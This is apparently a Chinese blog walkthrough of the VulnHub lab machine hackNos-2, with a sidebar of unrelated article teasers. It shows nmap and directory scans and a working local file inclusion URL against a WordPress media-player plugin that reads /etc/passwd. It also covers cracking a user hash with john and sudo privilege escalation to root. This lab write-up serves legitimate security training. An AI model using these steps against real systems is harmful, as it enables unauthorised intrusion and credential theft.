靶机测试 0s-hackNos-2笔记

news2024/11/26 10:21:04

简介

靶机地址

https://www.vulnhub.com/entry/hacknos-os-hacknos-2,403/#

Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : Web Application | Enumeration | Password Cracking

测试过程

信息收集

nmap扫描端口

 nmap -p- -A 192.168.1.103 -oA hacknos2   

扫描结果

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-10 17:14 CST
Nmap scan report for 192.168.1.103
Host is up (0.00026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:36:4e:71:6a:83:e2:c1:1e:a9:52:64:45:f6:29:80 (RSA)
|   256 b4:ce:5a:c3:3f:40:52:a6:ef:dc:d8:29:f3:2c:b5:d1 (ECDSA)
|_  256 09:6c:17:a1:a3:b4:c7:78:b9:ad:ec:de:8f:64:b1:7b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
zsh: segmentation fault  nmap -p- -A 192.168.1.103 -oA hacknos2

22 ssh 80 http

目录扫描

python .\dirsearch.py -u "http://192.168.1.103/" --extensions extensions

扫描结果

[17:57:31] 403 -  278B  - /.ht_wsr.txt
[17:57:31] 403 -  278B  - /.hta
[17:57:31] 403 -  278B  - /.htaccess-dev
[17:57:31] 403 -  278B  - /.htaccess-local
[17:57:31] 403 -  278B  - /.htaccess-marco
[17:57:31] 403 -  278B  - /.htaccess.BAK
[17:57:31] 403 -  278B  - /.htaccess.bak1
[17:57:31] 403 -  278B  - /.htaccess.orig
[17:57:31] 403 -  278B  - /.htaccess.old
[17:57:31] 403 -  278B  - /.htaccess.sample
[17:57:31] 403 -  278B  - /.htaccess.save
[17:57:31] 403 -  278B  - /.htaccess.txt
[17:57:31] 403 -  278B  - /.htaccess_orig
[17:57:31] 403 -  278B  - /.htaccess_extra
[17:57:31] 403 -  278B  - /.htaccess_sc
[17:57:31] 403 -  278B  - /.htaccessBAK
[17:57:31] 403 -  278B  - /.htaccessOLD
[17:57:31] 403 -  278B  - /.htaccessOLD2
[17:57:31] 403 -  278B  - /.htaccess~
[17:57:31] 403 -  278B  - /.htgroup
[17:57:31] 403 -  278B  - /.htpasswd-old
[17:57:31] 403 -  278B  - /.htpasswd_test
[17:57:31] 403 -  278B  - /.htpasswds
[17:57:31] 403 -  278B  - /.htusers
[17:57:35] 200 -   11KB - /index.html
[17:57:37] 403 -  278B  - /server-status
[17:57:37] 403 -  278B  - /server-status/
[17:57:37] 301 -  314B  - /tsweb  ->  http://192.168.1.103/tsweb/
[17:57:38] 200 -   43KB - /tsweb/

测试wordpress

访问 http://192.168.1.103/tsweb/ 是一个wp博客程序

wpscan --url http://192.168.1.103/tsweb/ -e vp --api-token udyfasudyfasd....(你的apitoken)

存在本地包含漏洞

http://192.168.1.103/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

flag用户的hash

$1$flag$vqjCxzjtRc7PofLYS2lWf/

john破解

$1$ md5加密

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd 

--format指定要破解的类型

--wordlist 密码字典

登录ssh

如果登录出问题可以删一下之前的秘钥

└─$ ssh-keygen -f "/home/ydx/.ssh/known_hosts" -R "192.168.1.103"                                            
ssh flag@192.168.1.103

密码是刚刚爆破出来的

当前使用的用户

cat /etc/passwd | grep bash

得到user.txt

cat /var/backups/passbkp/md5-hash

john破解hash

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd 

密码 !%hack41

切换rohit用户

su rohit

cat user.txt

特权提升

sudo -l

这个用户可以执行所有root权限的命令,直接查看root.txt

sudo cat /root/root.txt

总结

  • nmap的使用

  • gobuster目录文件扫描

  • wordpress 安全测试

  • 本地包含漏洞利用

  • ssh登录

  • john破解

  • 特权提升

  • vbox靶场配置

我完全不想死,所以…要是该战斗的时刻来临,就一定要赢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/153868.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在 Zorin OS 上安装 ONLYOFFICE 桌面编辑器

ONLYOFFICE 桌面应用是一款开源办公套件,包括用于文本文档、电子表格、演示文稿和表单的编辑器。除了离线工作,您还可以将该应用连接到云端进行在线文档协作。这款套件的源代码可在 GitHub 上获得,是根据 AGPL v.3.0 许可。 ONLYOFFICE桌面编…

golang中new与make的区别

new和make new // The new built-in function allocates memory. The first argument // is a type,not a value, and the value returned is a pointer to a // newly // allocated zero value of that type. func new(Type) *Type对于官方是这么解释new的:这个…

(6)go-micro微服务consul配置、注册中心

文章目录一 Consul介绍1. 注册中心Consul基本介绍2.注册中心Consul关键功能3.注册中心Consul两个重要协议二 Consul安装1.使用docker拉取镜像三 Config配置四 Consul代码编写1.设置consul配置中心2.获取consul配置中心的数据3.consul可视化界面数据编写4. main.go代码编写五 最…

微信小程序-页面导航

小程序实现页面导航的两种方式 声明式导航(tabBar 页面&#xff0c;在app.json中配置) 在页面上声明一个<navigator>导航组件通过点击<navigator> 组件实现页面跳转 app.json中 "tabBar": {"list": [{"pagePath": "pages/home…

【胖虎的逆向之路】02——Android整体加壳原理详解实现

【胖虎的逆向之路】(02)——Android整体加壳原理详解&实现 Android Apk的加壳原理流程及详解 文章目录【胖虎的逆向之路】(02)——Android整体加壳原理详解&实现前言一、加壳前的知识储备1. Android 应用的启动流程2. Android 应用的安装3. Android应用的启动流程&…

09-JAVA四种引用类型?

在JDK1.2版之后&#xff0c;Java对引用的概念进行了扩充&#xff0c;将引用分为强引用&#xff08;Strongly Reference&#xff09;、软引用&#xff08;Soft Reference&#xff09;、弱引用&#xff08;Weak Reference&#xff09;和虚引用&#xff08;Phantom Reference&…

使用Deep Q-Network学习如何玩《飞行的小鸟》游戏

目录概述效果需要的依赖如何运行算法原理实验输入处理网络结构训练代码概述 使用DQN实现《飞行的小鸟》游戏&#xff0c;代码可修改扩展为其他游戏&#xff0c;适合学习研究用。 效果 需要的依赖 Python 2.7 or 3 TensorFlow 0.7 pygame OpenCV-Python 如何运行 运行主函数…

目标追踪综述

目标追踪综述 - 知乎目标跟踪是计算机视觉领域的一个重要问题&#xff0c;目前广泛应用在体育赛事转播、安防监控和无人机、无人车、机器人等领域。下面是一些应用的例子。 体育赛事转播 无人车 目标跟踪任务分类了解了目标跟踪的用途&#xff0c;我们接下…https://zhuanlan.z…

Java(SpringBoot)项目打包(构建)成`Docker`镜像的几种方式

前置说明 最为原始的打包方式spring-boot-maven-plugin插件jib-maven-plugin插件dockerfle-maven-plugin插件 最为原始的方式 也就是使用Docker的打包命令去打包&#xff0c;麻烦&#xff0c;我这里不多说。 spring-boot-maven-plugin插件打包 SpringBoot自己内置了一个Docker镜…

有了这些软件测试面试话术,offer想不拿到都难

软件测试是一个复杂且重要的技术岗位&#xff0c;因此&#xff0c;大多数互联网企业在面试时&#xff0c;都会严谨对待每一个面试者。而&#xff0c;作为即将去进行面试测试人来说&#xff0c;想要在面试中&#xff0c;沉着稳定地回答好面试官们提出的问题&#xff0c;前期的软…

P5 内积 -- 通讯原理

目录内积内积和傅里叶变换正交能量帕瑟瓦尔定理互能量一 内积定义&#xff1a;任意信号 内积定义为&#xff1a;如果都是实信号例&#xff1a;二 内积和傅里叶变换的关系傅里叶变换 和逆变换 本质上就是求两个函数的内积傅里叶变换傅里叶逆变换时域的内积等于频域的内积假设 则…

再获殊荣!维视智造斩获2022年度光能杯最具影响力“智造”企业奖

近日&#xff0c;由光伏行业权威媒体和机构——索比光伏网、索比咨询联合主办的2022年度“光能杯”影响力大奖榜单发布&#xff0c;维视智造凭借硬件与AI算法能力、凭借在光伏行业具有创新性的智能制造产品方案与落地的标杆案例&#xff0c;斩获“2022年最具影响力“智造”企业…

Windows下Canal.deployer-1.1.6安装部署

canal [kənl]&#xff0c;译意为水道/管道/沟渠&#xff0c;主要用途是基于 MySQL 数据库增量日志解析&#xff0c;提供增量数据订阅和消费 早期阿里巴巴因为杭州和美国双机房部署&#xff0c;存在跨机房同步的业务需求&#xff0c;实现方式主要是基于业务 trigger 获取增量变…

多线程之线程控制与互斥

1.线程的缺点有哪些&#xff1f; 第一点 健壮性低------ 一个线程挂了容易影响另外的线程 第二点 缺乏访问控制----- 不像进程是独立的&#xff0c;可以写时拷贝&#xff0c;线程随进随出有点危险哦 第三点 编写难度上升----- 编写一个多线程的代码和调试可比单线程难多了 ——…

strlen 的三种模拟方法

欢迎来到 Claffic 的博客 &#x1f49e;&#x1f49e;&#x1f49e; 前言&#xff1a; 在C/C 中&#xff0c;strlen函数是一种计算字符串长度的库函数&#xff0c;要模拟此函数有多种方法&#xff0c;这里总结三种模拟方法。 1. strlen 函数介绍 cplusplus - strlen strlen 函数…

正点原子-Linux嵌入式开发学习-第二期06

第十四讲&#xff1a;主频和时钟配置 分析一个芯片的时钟&#xff0c;肯定先知道它的时钟来源&#xff0c;一般来源于外部晶振&#xff0c;内部晶振很少使用 时钟来源分析 RTC的时钟并不是其他外设的晶振来源 24MHz 晶振是 I.MX6U 内核和其它外设的时钟源&#xff0c;也是我…

K8s入门

K8s入门K8s入门k8s介绍k8s功能概述k8s架构k8s核心概念服务器配置要求部署方式使用kubeadm搭建一个k8s集群所有节点安装 Docker/kubeadm/kubeletK8s入门 你好&#xff01; 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这…

84.【Vue--初刷】

vue.js(一)、vue.js简介1.简介(1).MVVM模式的实现(2).为什么要使用Vue.js(3).为什么要使用MVVC2.应用场景3.JavaScipt框架(1).JQuery :(2).Angular(3).React(4).Vue(5).Axios4.UI框架【可视化】5.JavaScript 构建工具6.三端开发(1).混合开发(Hybrid App)(2).微信小程序7.后端技…

LeetCode题解 回溯(一):77 组合;216 组合总和III

回溯 从今天开始进入回溯&#xff0c;其实此前也接触过几道使用了该思想的题目 回溯的思想是“倒退到上一个状态”&#xff0c;通常结合递归&#xff0c;解决的问题多是“从众多组合中找出符合条件的组合”的问题&#xff0c;随想录中给出了题目大纲&#xff1a; 回溯算法解决…

Linux学习笔记——ZooKeeper集群安装部署

5.8、ZooKeeper集群安装部署 5.8.1、简介 Zookeeper是一个分布式的、开放源码的分布式应用程序协调服务&#xff0c;是Hadoop和HBase的重要组件。它是一个为分布式应用提供一致性服务的软件&#xff0c;提供的功能包括&#xff1a;配置维护、域名服务、分布式同步、组服务等。…